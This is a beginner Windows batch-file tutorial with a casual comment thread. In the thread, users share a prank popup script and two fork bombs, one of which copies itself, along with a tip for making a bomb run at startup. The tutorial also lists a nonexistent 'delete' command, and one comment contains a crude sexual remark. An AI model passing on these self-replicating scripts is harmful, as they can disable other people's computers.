how to do batch

I know that there are alot of batch tutorials out there, but I like batch, so I want to do my own. And I'm sorry but, I DON'T HAVE A CAMERA, so I can't give you any pictures. And also, I am not responsible for what you do with this info. And i know there is pictures, I picked random photos from google so instructables would leave me alone

Step 1: The basics

ok, so now you want to learn batch. what is it again?
batch files are files similar t programs, while these are not programs, they do a lot that a program can do, and are the backbone of all programs. Any batch file is stored with the file extension/type .bat, you should always remember this. basic commands
start-starts a program
ex: start monkeys.bat
delete-deletes a program
ex: delete monkeys.bat
color-changes the current color of the command prompt window
ex: color 0A (changes background to black, and lettering to green)
help-displays all of the current available commands, and gives more information on a topic if you type it before the command
ex: help start (shows parameters and uses of the command start)

Comments

[onlyonebowman]

sending batch files is Illegal in many states

[DavidRobertson]

why??? How odd.

[bounty1012]

Because you can generate viruses, steal information,etc.

[will421]

:| Gmail won`t let me send my version of Catch the Clown!! (saved in ctc.exe)

[mikroskeem]

put it into zip or rar

[bounty1012]

you mean you use gamemaker too?

[demonxkid]

how can u make a batch run in full screen

[samkai]

right-click the toolbar of a batch file and click properties and option option to make full screen is there

[mikroskeem]

on vista and 7 it's not possibe
If you try alternate command interpreters, like Take Command(TC), it's may working

[graboy]

cant.

[michaelb958]

On XP, press Alt+Enter with the window selected. On 7, can't. On Vista, enlighten me, please...

[mikroskeem]

what the hell OS are u using???

[insyder1201]

read all of the instructable

[mikroskeem]

you dont't have camera:P but the 2nd pic, what os is in there?

[Micksta]

hey guys i was just wondering how do i make the image start AFTER the last message?

my batch is down there

@echo off
msg * hello
msg * who
msg * are
msg * you
msg * im
msg * the
msg * hacker
msg * youve
msg * been
msg * very
msg * bad
msg * so
msg * im
msg * going
msg * to
msg * teach
msg * you
msg * a
msg * lesson!
start http://www.fugly.com/media/IMAGES/WTF/fat-guy-in-a-diaper.jpg

[Prof. Pickle]

@echo off
msg * hello
msg * who
msg * are
msg * you
msg * im
msg * the
msg * hacker
msg * youve
msg * been
msg * very
msg * bad
msg * so
msg * im
msg * going
msg * to
msg * teach
msg * you
msg * a
msg * lesson!
ping localhost -n 30 >nul
start http://www.fugly.com/media/IMAGES/WTF/fat-guy-in-a-diaper.jpg

This should work

[mikroskeem]

i say you must run batch bombs in VM or DosBox
because there isn't damage to your computer

[vorlock]

you can, right click the bar at the top>properties>Full screen (Under Display Options)>click ok> choose between current window and all windows.

[Doubleblades85]

this is my fork bomb
===================
:s
%0
goto :s

[reaper666]

i know i 13 year old who can hack anything so its believable, but hes probobly lying bout his age.

[thefirstgaruga]

nah, i'm 15 and i only know a little bit more than mutant

[googleman]

im 12 and i now more than he shows in dis instructable

[will421]

I`m 7 and I know waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaay more then that (for batch, at least)

[DavidRobertson]

if your 7 then you shouldnt have an account here cause that would breach the TOS (but who cares?).

[mowie]

I am 2 years of age.I can not ever read the TOS.

[pink_man_]

if you were 2 you couldn't even type

[Arbitror]

And if your feeling real mean:

:topstart %0copy /Y %0 %random%.batgoto top

If you are even going to try this, do it in a folder! It is a fork bomb, but every time it opens, it creates a copy of itself!

[hg341]

lol you need to make it reopen when you boot by puting it in the start up folder

[bounty1012]

can someone post an instructable on how to make a video like the star wars thing?

[jeshaw3242]

all it is linking/ connecting to a site with that starwars vid playing in cmd |-(

[bounty1012]

I understand, but I would like to learn how to make a movie like it in command prompt.

[phant0m_sp00f3ra]

Help me, i cant get the txt file to open as batch, it always saves as .bat.txt and it's open with notepad BTW im on vista (and i go it dualbooting as a hackintosh

[brutalme19]

under where u name it did u select all file types or w/e?

[phant0m_sp00f3ra]

I fixed it mate thanks, by just naming it as .BAT instead of .bat Thanks mate

[edfel01]

wow the star wars thing was amazing im currently learning how to use batch and notepad and all so if u have any tips plz send them. Like how do u make a batch account?

[Istarian]

Interesting. I think you could make a matrix like effect if you could get like a matrix font, set the font type and then use the "random character" batch file up there. Also that break the internet thing basically delete the hosts file, which probably does make the internet not work... ~Istarian

[fwjs28]

try this:

[thefirstgaruga]

thanx, you can change it to random letters? obviously, but like matrix letters? and i ask questions sometimes cause i take stuff from other instructables

[Istarian]

I'm not sure, but it seems logical that there ought to be a way to change the font, and with a matrix font, you could have random letters that are matrix characters. There's just one issue, it won't ever look right, because there won't be any blank or continous letter streams, but then batch files have limits. An animated GIF file that looks like the matrix would be cool though. ~Istarian

[thefirstgaruga]

well, i wanted it to read something creepy like the matrix will rape you. but i want them to read it in a modern way